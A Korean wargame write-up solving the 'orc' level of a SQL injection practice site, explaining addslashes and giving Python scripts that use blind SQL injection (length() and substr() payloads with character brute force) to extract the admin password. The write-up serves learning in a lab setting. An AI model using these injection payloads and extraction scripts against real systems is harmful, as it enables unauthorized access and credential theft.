분석
이번 문제에서는 admin을 id로 주고
pw만을 get으로 받습니다.
그리고 보호기법으로 addslashes를 사용하네요.
addslashes는 쿼리문에서 오류가 발생할만한 백슬래시(\), 작은 따옴표('), 큰따옴표(") 등을 \를 앞에 붙여 escape시키는 함수입니다.
db에서 꺼내왔을 때는 백슬래시를 제거해서 원래의 문자열이 되도록 하는 stripslashes라는 함수도 있습니다.
php에서는 magic_quotes_gpc라고 해서 이 작업을 자동으로 해주는 경우도 있다네요.
그래서 addslash가 되기 이전에 그냥 쿼리를 참으로 우회하면 hello admin만 나옵니다.
이후에 addslashes하여 쿼리를 다시 보내서
쿼리의 결과로 받아온 pw가 존재하고, 결과의 pw와 입력한(addslash 된) pw가 같으면 문제를 푸는 것이죠.
근데 우리는 pw가 뭔지 모릅니다..
;를 입력하고 db에 있는 admin의 pw를 바꿀 순 없을까요?
음.. prob 입력하지 말라고 되어있는데 우회한 것도 찔리고..
그리고 get이 꼬여버려서 하기가 어렵네요.
그러나 Hello admin을 통해서
쿼리의 참 거짓은 알 수가 있습니다.
그럼 수업시간에 배운 브루트포싱 방법을 가지고 해보면 되겠군요.
풀이
브루트 포싱을 위해서 length 먼저 알아봅니다. length가 4일때 쿼리가 참이 되었으니 패스워드 길이는 4입니다.
인줄 알았으나
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?"
cookie = {'PHPSESSID':'your cookie'}
for i in range(1, 30) :
query ='pw=\' or length(pw)={}%23'.format(i)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
print('length:',i)
쿠키 설명
https://hazel-developer.tistory.com/145
여기서 헤더에 대한 설명을 볼 수 있습니다.
쿠키가 다른 환경에서
제가 사용하던(문제를 풀고 있던) 쿠키로 값을 바꾸면 그 계정으로 로그인 됩니다.
이러면 제가 풀던 환경으로? 브루트포싱이 가능하지용.
브루트포싱을 해보면
4랑 8이 나옵니다..? 아무래도 db에 pw 길이가 4인 계정이 있는 것 같습니다.
이렇게 하면 admin이고 패스워드 길이가 4인 데이터가 없어서 거짓이고
이렇게 하면 패스워드가 8이라서 Hello admin을 출력합니다.
admin의 pw 길이는 8.
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?"
cookie = {'PHPSESSID':'your_cookie'}
# for i in range(1, 30) :
# query ='pw=\' or length(pw)={}%23'.format(i)
# req = requests.get(url+query, cookies=cookie)
# if('Hello admin' in req.text) :
# print('length:',i)
length=8
pw = ''
for i in range(1, length+1) :
for j in range(0x20, 0x7e+1) :
query = 'pw=\'or substr(pw,1,{})=\'{}\'%23'.format(i, pw+chr(j))
print(query)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
pw += chr(j)
break
print('ans:',pw)
마저 작성해서 length가 8이고 substr을 이용해서 첫번째 문자열부터 i번째까지 계속 검사합니다.
0x20부터 이제.. ascii 코드표에 패스워드가 될만한 문자로 가능한 것들을 순차적으로 대입합니다.
참이면 Hello admin이라는 값을 출력하니까 req.text(html 파일)에 Hello admin이라는 문자열이 있으면 그 문자를 pw에 저장하고 break 합니다.
작동하는 모습
그렇게 나온 패스워드가 095A9852입니다.
이걸 대입해보면
안됩니다! 왜일까요? 다른 풀이도 심지어 다 되던데?
아닝.. 소문자로 입력해도 게속 대문자로 들어가던데 브라우저 문제였나봅니다. sql은 대소문자를 구분하지 않는다고 하는데 그건 substr에서 그런 것 같고 실제 패스워드는 일치해야 할테니 소문자로 넣어봤었답니다..?
어쨌든 클리어